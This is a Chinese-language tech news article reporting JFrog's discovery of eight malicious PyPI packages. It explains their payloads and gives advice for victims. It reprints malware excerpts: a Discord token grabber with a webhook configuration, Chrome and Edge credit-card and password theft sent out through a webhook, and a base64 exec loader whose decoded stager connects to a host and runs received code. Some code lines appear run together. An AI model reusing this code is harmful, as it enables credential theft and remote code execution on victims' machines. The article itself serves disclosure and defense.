来源:机器之心
编辑:杜伟、陈
近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。据估计,这些软件包的下载次数达到了 3 万次。
PyPI(Python Package Index)是 Python 的正式第三方软件包的开源软件存储库,它类似于 CPAN(Perl 的存储库)。pip 等一些软件包管理器就是默认从 PyPI 下载软件包。任何用户都可以下载第三方库和上传自己开发的库,目前通过 PyPI 可以下载超过 23.5 万个 Python 软件包。
但是,PyPI 软件存储库经常被滥用也成为一个不争的事实。2018 年,一位安全研究者 Bertus 对 PyPI 进行安全扫描时发现了 12 个有问题的软件包,其中包含可以导致安全隐患、开启后门甚至盗取比特币的恶意代码;2020 年腾讯洋葱反入侵系统发现 PyPI 被恶意上传了 request 钓鱼包,攻击者通过伪造 requests 包名进行钓鱼,能够对受感染的主机进行入侵,进而可能窃取用户敏感信息及数字货币密钥、种植持久化后门、命令控制等。
近日,DevOps 软件供应商 JFrog 的几位研究人员发表文章称,他们最近在 PyPI 中又发现了 8 个可执行一系列恶意活动的软件包,并且根据对 PePy 网站(一个提供 Python 包下载统计数据的站点)的搜索,这些恶意包的下载次数估计达到了 3 万。
他们表示,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。在收到研究人员的通知后,PyPI 的维护者 Dustin Ingram 迅速做出反应并删除了恶意软件包。
两类不同的恶意代码族构成系统性威胁
这一发现是近年来一系列攻击中最新的一个,这些攻击超过了开源存储库的接受能力,数以百万计的软件开发人员每天都依赖开源存储库。尽管软件存储库扮演着至关重要的角色,但它们往往缺乏鲁棒的安全性和审查控制,当开发人员在不知情的情况下感染恶意代码或将恶意代码嵌入他们发布的软件时,这一弱点有可能导致严重的供应链攻击。
JFrog 首席技术官 Asaf Karas 表示:「诸如 PyPI 这样的流行软件库中不断发现恶意软件包,这种趋势令人担忧,有可能导致更为广泛的供应链攻击。攻击者使用简单的混淆技术来引入恶意软件,这意味着开发人员必须时刻保持关注和警惕。这是一种系统性威胁,需要在包括软件存储库的维护人员和开发人员等不同层面上进行解决。」
与大多数 Python 恶意软件一样,这些包仅使用了简单的混淆技术,例如来自 Base64 编码器的混淆。在这 8 个恶意软件包中,前 6 个(noblesse、genesisbot、aryi、suffer、noblesse2 和 noblessev2)均包含 3 个有效负载,一个用于获取 Discord 账户的认证 cookie,第二个用于提取在浏览器存储的任何密码或支付款卡数据,第三个用于收集受感染 PC 的信息,如 IP 地址、计算机名和用户名。
有效负载 1:窃取 Discord 身份验证 token
noblesse 恶意软件族的首个有效负载是窃取 Discord 身份验证 token。身份验证 token 允许攻击者冒充最初持有 token 的用户,类似于 HTTP 会话 cookie。窃取 token 的有效负载基于臭名昭著的 dTGPG 有效负载,它是一个从未公开发布的生成器工具,但个性化 token 抓取器是公开共享的,并且一些示例也上传到了 GitHub。因此,Discord 身份验证 token 窃取器代码非常简单,它迭代一组硬编码的路径:
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}
然后读取这些路径下(特别是 Local Sotrage\leveldb)的所有的. log 和. ldb 文件,并查找 Discord 身份验证 token。所得结果通过 Webhook 上传到 Discord,所用参数如下:
{"type": 1,
"id": "807327703082074143",
"name": "Captain Hook",
"avatar": null,
"channel_id": "725001140324008047",
"guild_id": "720931953251057725",
"application_id": null,
"token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}
有效负载 2:窃取自动完成敏感数据(信用卡和密码)
noblesse 恶意软件族的第二个有效负载可自动完成信息窃取。目前所有的现代浏览器都支持保存用户密码和信用卡信息的能力:
这种自动保存功能给用户带来了极大的便利,但缺点是,这些信息可能会被访问本地机器的恶意软件泄露。在这种情况下,恶意软件试图从 Chrome 窃取信用卡信息:
defcs():
master_key = master()
login_db = os.environ['USERPROFILE'] + os.sep + \
r'AppData\Local\Google\Chrome\User Data\default\Web Data'
shutil.copy2(login_db,
"CCvault.db")
conn = sqlite3.connect("CCvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = dpw(
encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]
hook.send(f"CARD-NAME:" + username + "\nNUMBER:" + decrypted_password + "\nEXPIRY M:" + str(expire_mon) + "\nEXPIRY Y:" + str(expire_year) + "\n" + "*" * 10 + "\n")
另外,从 Edge 中窃取保存的密码和信用卡信息:
login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)if username != ""or decrypted_password !="":
hook.send(f"URL:" + url + "\nUSER:" + username + "\nPASSWORD:" + decrypted_password + "\n" + "*" * 10 + "\n")
有效负载 3:用户系统信息收集
noblesse 恶意软件族的第三个有效负载是收集中招用户系统的相关信息,并上传至上文提到的 Webhook。收集的信息包括如下:
IP 地址;
计算机名;
用户名;
Windows 许可关键信息;
Windows 版本;
屏幕截图(使用 Pillow 的 ImageGrab)。
pytagora 恶意软件族:远程代码注入攻击
不过,Karas 表示前 6 个软件包具有感染开发者计算机的能力,但却不能用恶意软件感染开发者编写的代码。第二类恶意软件族则要简单得多,软件包的代码如下:
import mathimport base64,sys
def hello():
exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):
hello()
c = math.sqrt(math.pow(a,2) + math.pow(b,2))
return round(c,2)
def other(c,x):
y = math.sqrt(math.pow(c,2)-math.pow(x,2))
return round(y,2)
模糊代码又被解码为了以下代码片段:
import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]
print (l)d=s.recv(l)
print (d)while len(d)>!1:d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})
简单地说,恶意软件试图连接 TCP 端口 9009 上的私有 IP 地址,然后执行从 socket 中读取的任何 Python 代码。
对此,Karas 表示:「对于 pytagora 和 pytagora2 这两个软件包,则允许在安装它们的机器上代码执行,这是有可能的。在感染了开发机器之后,恶意软件包允许代码执行,然后攻击者可以下载有效负载,从而修改正在开发的软件项目。我们没有证据表明恶意软件确实是这样执行的。」
机器中招,怎么办?
如果你在检查完 PyPI 依赖项后,确认 noblesse(或是克隆版本)已经在本地安装,你可以采取以下建议:
检查 Edge 中保存了哪些密码,并在每个网站上更改这些被泄露的密码(还包括重复使用相同密码的网站)。你可以这样做:打开 Edge,然后导航到 edge://settings/passwords。保存密码的完整列表(这些都是潜在的危害)可以在 Saved passwords 查看。
检查哪些信用卡信息保存在 Chrome,可以考虑在 Chrome 中取消这些信用卡。你可以这样做:打开 Chrome,导航到 chrome://settings/payments。完整的信用卡信息列表(这些都是潜在的危害)可以在 Payment methods 中查看。
如果你已经确定 pytagora(或者克隆版本)已经在你的机器上本地安装,尽管你的机器可能不会感染相关的恶意软件,但建议你还是遵循常用的恶意软件检查步骤进行检查,例如使用已安装的杀毒软件进行全面扫描。
参考链接:
https://www.secrss.com/articles/24477
https://www.freebuf.com/column/188051.html
https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199
“掌”握科技鲜闻 (微信搜索techsina或扫描左侧二维码关注)